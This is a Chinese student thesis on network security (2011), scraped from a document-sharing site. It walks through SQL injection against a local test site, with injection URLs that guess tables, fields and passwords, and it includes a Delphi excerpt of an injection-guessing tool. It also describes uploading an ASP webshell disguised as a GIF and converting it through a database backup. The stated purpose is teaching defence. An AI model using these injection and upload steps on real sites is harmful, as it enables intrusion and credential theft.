《计算机网络安全与维护论文.docx》由会员分享,可在线阅读,更多相关《计算机网络安全与维护论文.docx(63页珍藏版)》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。
1、编号:时间:2021年x月x日书山有路勤为径,学海无涯苦作舟页码:第63页 共63页计算机网络安全与维护专 业 计算机信息管理 班 级 数码嵌入式3-3班学 生 杨晓东 指导教师 魏西航 西安理工大学二 0 一一 年 五月摘要:网络安全技术随着黑客技术的发展而产生,我们在研究网络安全的时候首先应该研究黑客常用的入侵手段和攻击技术。因此本论文主要通过对黑客技术的研究来讲解网络安全防范,主要以揭露了黑客攻击的原理、攻击手段来推出相应该的安全防范措施。通过许多的攻击实例以及防范实例让人们掌握网络安全的基本防范技术、了解黑客攻击的原理和方法以及带来的危害,从而达到提高网络安全防范的意识和增强网络安全防
2、范的能力。关键词:黑客;黑客技术;网络安全目 录第一章 概述 1.1、本课题的来源1.2、本论文的目的、内容及作者主要贡献第二章 脚本漏洞2.1脚本漏洞形成的原因2.2 脚本漏洞之黑客工具分析2.3 脚本漏洞带来的危害2.4 Asp脚本漏洞带来的危害2.5 Php注入原理2.6 Php注入实例2.7 Php注入防范2.8 其他脚本注入防范第三章 网站旁注 3.1 网站旁注第四章 缓冲区溢出4.1 冲区溢出原理4.2 出攻击实例第五章 网络嗅探5.1 网络嗅探原理5.2 网络嗅探实例第六章 密码破解6.1 密码破解第七章 社会工程学7.1 Aminintrator致命的错误第八章 个人PC主机安
3、全之木马篇7.1、木马的原理7.2、木马软件的介绍及简单的使用7.3、网页木马第八章 个人PC主机安全之病毒8.1病毒 第九章 个人PC主机安全之漏洞9.1 漏洞致 谢参考文献第一章概述1、本题课题来源计算机网络是现代通信技术与计算机技术相结合的产物。所谓计算机网络,就是把分布在不同地理区域的计算机与专门的外部设备用通信线路互连成一个规模大、功能强的网络系统,从而使众多的计算机可以方便地互相传递信息,共享硬件、软件、数据信息等资源。从世界上第一台计算机诞生到今天互联网的日益普及,计算机的发展速度可谓突飞猛进,从而也把人类文明带入数码时代。计算机网络的出现,使人们在获取和传递信息时,又多了一种选
4、择,而且是一种能够提供空前“自由化”的选择,它使信息的传播速度、质量与范围在时间和空间上有了质的飞跃,从而使人们的许多梦想变成了现实。但是,辩证唯物主义认为,任何事物都是矛盾对立的统一体,尤其是对于正在发展中的新事物来说,更是如此。计算机网络也不例外。人们在享受着网络传输带给我们便利的同时,也对日露端倪的网络负面影响愈发担忧。开放的信息系统必然存在众多潜在的安全隐患,黑客和反黑客、破坏和反破坏的斗争仍将继续。在这样的斗争中,安全技术作为一个独特的领域越来越受到全球网络建设者的关注。随着网上的在线交易、互联星空冲值、网络游戏的发展、电子商务的发展,网络安全越来越关系着广大用户的切身利益。2、 本
5、题客源的目的 目前网络在世界经济社会中占据着越来越重要的地位,已经不只为了信息和数据的安全,甚至已经渗透到国家的政治、经济、社会、和军事之中。网络黑客,始终给人们蒙上了一层神秘的面纱,其实他们只不过是一群计算机技术的狂热爱好者,仅仅是利用了自己的技术技巧以及系统的漏洞和用户的弱点。本文主要批露目前流行的黑客攻击技术、揭露黑客技术的原理、介绍针对攻击的安全防范方法,用来提高大家的网络安全防范能力和安全防范意识。3、 本题内容主要框架主要通过对黑客技术的介绍来让大家了解黑客攻击的方式。攻与防是分不开的,我们只有在了解其攻击方式和原理后,才能真正更好的防御。本文主要分为两个大体内容:网站服务器安全和
6、个人pc机安全,其中网站服务器安全主要介绍各种网站服务器的入侵方式和防范方法:如脚本漏洞入侵、网络旁注、远程溢出、网络嗅探、社会工程学、ddos拒绝服务攻击等个人pc机安全:主要讲叙黑客入侵个人机常用的方法及防范,如木马技术、远程溢出、弱口令扫描、ipc管道、以及黑客到底想用我们的个人机干什么。具体内容我将以图文(一)并茂的方式展现出来,先看一下下面的“服务器安全之黑客攻击手段”框架:1图解一2Powered By Gisun 第二章 脚本漏洞2.1洞形成的原因 随着网络经济的复舒,开始越来越多的网站涌现出来,随着脚本漏洞的挖掘,黑客也越来越猖狂,并且越来越低龄化和傻瓜化。“你只要会用一个工具
7、就可以黑站”,这就是脚本漏洞利的特点。这些漏洞的主要成因是编程程序员的素质,往往在编写asp或php等程序时候对字符的过滤不严密,对注入漏洞不了解,或者某个参数忘记检查导致的。由于编写网页程序这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。我们看一个例子:在本机建一个基于
8、iis的asp程序http:/localhost/test/show.asp?ID=3,将这个网址提交到服务器后,服务器将进行类似Select * from 表名 where 字段=&ID的查询(ID即客户端提交的参数,本例即是3),再将查询结果返回给客户端,如果这里客户端故意提交这么一个网址:http:/localhost/test/show.asp?ID=3 and user0,这时,服务器运行Select * from 表名 where 字段=444 and user0这样的查询,当然,这个语句是运行不下去的,肯定出错,错误信息如下:错误类型:Microsoft OLE DB Provi
9、der for ODBC Drivers (0x80040E07)MicrosoftODBC SQL Server DriverSQL Server将 nvarchar 值 test 转换为数据类型为 int 的列时发生语法错误。/test/show.asp, 第 34 行从这个出错信息中,我们可以获得以下信息:该站使用MSSQL数据库,用ODBC连接,连接帐号名为:test。所谓SQL注入,就是利用程序员对用户输入数据的合法性检测不严或不检测的特点,故意从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取想得到的资料。通常别有用心者的目标是获取网站管理员的帐号和密码。比如当知道网站管
10、理员帐号存在表login中,管理员帐号名为admin 想知道admin的密码,这里接着从客户端提交这样一个网址:http:/localhost/test/show.asp?ID=4 and (Select password from login where user_name=admin)0,返回的出错信息如下:错误类型:Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)MicrosoftODBC SQL Server DriverSQL Server将 varchar 值 admin888 转换为数据类型为 int 的列时发生语法错
11、误。/test/show.asp, 第 34 行现在出来了“admin888”就是管理员的密码!得到这个密码,这时您就可以用这个帐号和密码接管人家的网站了!当然我们并不知道帐号就在表login中,而且也不知道管理员名为admin,但这些不容难办到,我们可以写个工具进行猜解,速度很快就可以找到你想要的东西了。前面是有关mssql数据库的注入基础,我们再看一看acce数据库的注入基础:首先进行浏览器的设置,以保证手工注入时能返回出错信息。其操作步骤为:右键单击浏览器图标,选择“属性”,在弹出来的对话框中选择“高级”选项卡,接着去掉“显示友好的HTTP错误信息”前面的钩,最后点击“应用”按钮即可。对
12、于sql注入得先找到注入点,注入点的判断方法为:通常打开一个类似如果出现错误提示,则说明可能存在注入漏洞,再输入 and 1=1如果存在SQL注入漏洞,就可以查询数据库,1=1是一个恒等式可以忽略,因此会返回一个正常的页面,此页面和 and 1=2,1=2为一个恒不等式,如果该站点支持数据库查询,则大概会返回如下所示的信息:Microsoft vbscript 编译器错误 错误码率 800a03f6 缺少End/iishelp/common/500-100.asp,行242ADODB.Field 错误 800a0bcd一般出现以上信息就可以确定存在sql注入漏洞了。下面我们来看一下sql注入的
13、过程分析: 如:打开:http:/hostlocal/test2/list.asp?id=17在其后面加为http:/hostlocal/test2/list.asp?id=17出错!显示为:“数据库出错”。那么接下来我们便进行如下操作:1 猜管理员帐号表。2 猜相应表中的用户的字段名以及密码的字段名。3 猜出用户名的长度和密码的长度4 猜出用户和密码5 找到管理页面进入管理猜管理员的表:http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)/min(id)返回表中ID最小值返回文章证明,有一个admin的表
14、;如果没有返回文章,证明出错不存在admin这个表。猜用户的字段名:http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user=aaa)返回错误信息,表示没有user这个用户段名再来!http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username=aaa)没有返回错误信息,又没有返回文章,提示找不到文章。证明在admin中存在username个字段,只是用户名不是aaa猜密码的字段名:ht
15、tp:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where passwd=aaa)返回错误信息表示没有passwd这个密码字段名。 再来:http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where password=aaa)没有返回错误信息,又没有返回文章,提示找不到文章。证明在admin中存在password这个字段,只是密码不是aaa猜用户字段名长度: http:/hostlocal/test2/list.asp
16、?id=17 and 1=(select min(id) from admin where len(username)5)正确http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)5)正确http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)= and1Num then begin SqlResultMemo.Lines.Add(FieldName
17、+ 长度: 16); LengthInt := 16 end else begin while (Len = 50) and (FlagBool) do begin application.ProcessMessages; inc(Len, 2); Pane1.Caption := 正在检测长度:Len( + FieldName + )= + inttostr(Len); ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, = and1Num then begin
18、 for N := Len - 1 to Len do begin ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, =, N), 800); if ContentInt = and1Num then begin LengthInt := N; SqlResultMemo.Lines.Add(FieldName + 长度: + inttostr(N); FlagBool := False; Break; end; / if end; / for end; / i
19、f end; / while end; end else begin while (Len = 50) and (FlagBool) do begin application.ProcessMessages; inc(Len, 2); Pane1.Caption := 正在检测长度:Len( + FieldName + )= + inttostr(Len); ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, = and1Num then begin for N
20、:= Len - 1 to Len do begin ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, =, N), 800); if ContentInt = and1Num then begin LengthInt := N; SqlResultMemo.Lines.Add(FieldName + 长度: + inttostr(N); FlagBool := False; Break; end; / if end; / for end; / if end;
21、/ while end; GuessLsv.Clear; if Len = 50 then begin sql_EdUrl.Enabled := True; Sql_GuessTable.Enabled := True; TableNameLst.Enabled := True; FieldNameLst.Enabled := True; application.MessageBox(列名长度大于50,猜解失败!, 提示, 32); Exit; end; Pane1.Caption := 正在检测 + FieldName + 的内容.; GuessLsv.Update; if LengthIn
22、t = 5 then begin ContentInt := Get_HttpSize(Sql_EdUrl.Text + %20and%20exists%20(select%20top%20 + sqlEdTop.Text + %20 + FieldName + %20from%20 + TableName + %20where%20instr( + FieldName + ,admin)=1%20and%20len(username)=5); if ContentInt = and1Num then begin s := admin; for i := 1 to 5 do begin app
23、lication.ProcessMessages; with GuessLsv.Items.Add do begin caption := 第 + inttostr(i) + 位; SubItems.Add(si); end; sleep(60); GuessLsv.Update; end; inc(SQL_ScanContent_ThreadCreateCount); StringGrid1.CellsSQL_ScanContent_ThreadCreateCount - 1, 1 := admin; StringGrid1.CellsSQL_ScanContent_ThreadCreate
24、Count, 1 := 检测中.; SqlResultMemo.Lines.Add(FieldNameLst.ItemsFieldNameLst.Itemindex + 内容:admin); if SQL_ScanContent_ThreadCreateCount = Memo2.Lines.Count then GuessContProc(SQL_ScanContent_ThreadCreateCount - 1); Exit; end else begin for i := 1 to LengthInt do begin application.ProcessMessages; with
25、GuessLsv.Items.Add do begin caption := 第 + inttostr(i) + 位; SubItems.Add(检测中); end; sleep(30); end; end; end else begin for i := 1 to LengthInt do begin application.ProcessMessages; with GuessLsv.Items.Add do begin caption := 第 + inttostr(i) + 位; SubItems.Add(检测中); end; sleep(30); end; end;从上面的代码中,我
26、们可以看出,黑客软件只是代替了手工操作,通过多线程更进一步提高了猜解的速度,但猜解的表和字段还得我们自己设定,然后通过post提交我们设定的格式(其中url中的%20是空格的意思,因为在网址后面执行相应的sql语句时都要有相应的空格),按照我们设定的表和字段猜解出相应的用户名和密码内容。Powered By Gisun2.3洞带来的危害通过上面的实例,我们已经对asp+sql注入有一个理性的认识,那么这种攻击到底会给我们带来什么样的危害呢?我们先来看一下什么叫webshell。webshell是由一个由相应脚本语言编写的具有在线编辑、删除、新增文件、执行程序及sql语句等功能的脚本文件,如老兵
27、助手asp木马,海阳顶端asp木马就是这样的文件。黑客通常通过站点的sql注入漏洞进入管理员的后台,再通过后台上传过滤不严漏洞进行直接上传asp木马,或通过改扩展名或抓包欺骗等手段进行asp木马上传,或通过改变asp木马扩展名为图片扩展名后再进行,上传后通过数据库备分获得asp木马。那么上传后的木马会对我们的服务器或网站的文件造成什么样的影响呢?我们来看下图就知道了上面是海洋顶端asp木马,下面是老兵助手asp木马:Asp木马可以执行文件的打开、编辑、复制、上传、下载等文件常用的操作命令,甚至可以执行net user 、netstat an、dir 等guest用户命令,有数据库的连接操作,这
28、些都危害到了我们服务器或网站的安全。可以说完全可以当作自己的机器来操作,当然不要说网站权限的编辑了,通过各种提权的方式可以达到拿下整台服务器的权限。 那么黑客们主要利用我们的网站或服务器来干什么呢?现阶段网络上最流行的就是拿下虚拟主机的权限在服务器上的网站里进行挂马,网站挂马主要是把网页木马挂在网站上,现在比较精典的挂马代码是:,这段代码比较短,通常他们将这段代码加在被入侵服务器的主页里,当用户打开被挂马的网站时就会悄悄地打开另一个代码中的“网马地址”并执行“网马地址”中的一个exe文件,从而使用户的机器感染木马,被挂马者所控制,那么挂马者控制我们的机器来干什么呢?这将在后面的“个人pc机安全
29、”中进行介绍。从挂马代码我们可以看出,其实就是转而执行了一个隐藏的框架,但带来的危害却是不可预料的。那么我们要怎么来预防这一切呢?首先是对服务器进行安全设置:现在asp站点一般都是基于iis环境搭建的,很多站点都是放在一个虚拟机上的,服务器的安全设置就得靠空间商的责任心和安全意识了,现在我在本机搭建一个windows2003+iis+mssql+serv-u的环境。服务器的设置主要防范非法用户的asp木马权限和通过asp木马进行提权的防范,当然,网站的注入点就得靠网站管理人员进行防范了。我在网上下载了一个整站程序:xxx商务网站,并在本地搭建测试完毕,下面来演示一下整个注入漏洞带来的危害以及我
30、们对服务器的安全设置和对整站程序进行防注入的操作:搭建情况如下图:然后我们对站点进行sql注入漏洞检测。用工具扫描一下看,结果如下图:在search.asp文件存在注入点(红字部分为注入点链接),我们去看一下syjh目录下search.asp文件的源代码,在sql查询语句处,如下:if typeid then sql=select * from info where showname like %&request(txtitle)&% and flag=1 and type like %&request(type)&% and sortid=+cstr(sortid)+ and typeid=
31、&request(typeid)& order by dateandtime desc else sql=select * from info where showname like %&request(txtitle)&% and flag=1 and type like %&request(type)&% and sortid=+cstr(sortid)+ order by dateandtime desc end if多处id变量未过虑的情况下直接使用,从而导至sql注入漏洞。下面进一步用专门的测试软件检测注入清况,如: 结果很糟糕,破解出的密码还未使用md5进行加密,直接得到管理员用户
32、名admin和密码rose,并且这套系统在网上很多商务网站都有下载。接下来我们看进一步的操作,使用管理员和用户名进行登录:进入后台后,可以看到“备份网站数据库”这一项,我们可以在后台的“广告服务管理”处上传一个广告,当然是把asp木马扩展名改为gif然后再上传。上传后查看地址为:http:/localhost/yqlj/picture/2006416180836.gif,然后通过数据库备分,将2006416180836.gif文件备分为up.asp文件,就导出了asp木马,地址为:http:/localhost/admin/System/dbback/up.asp其实这套系统数据库是.asp格
33、式的,还可以采用写入一句话马的形式上传一个asp木马。打开http:/localhost/admin/System/dbback/up.asp输入密码,查看“服务器组件探针”信息: MSWC.AdRotator (广告轮换组件) MSWC.BrowserType (浏览器信息组件) Version: 0.0; About: unknown MSWC.NextLink (内容链接库组件) About: MSWC 内容链接对象库(Release),内部版本号 Mar 24 2005 日期 15:07:09 MSWC.Tools MSWC.Status MSWC.Counters (计数器组件) IISSample.ContentRotator (内容轮显组件) IISSample.PageCounter MSWC.PermissionChecker (权限检测组件) Adodb.Connection (ADO 数据对象组件)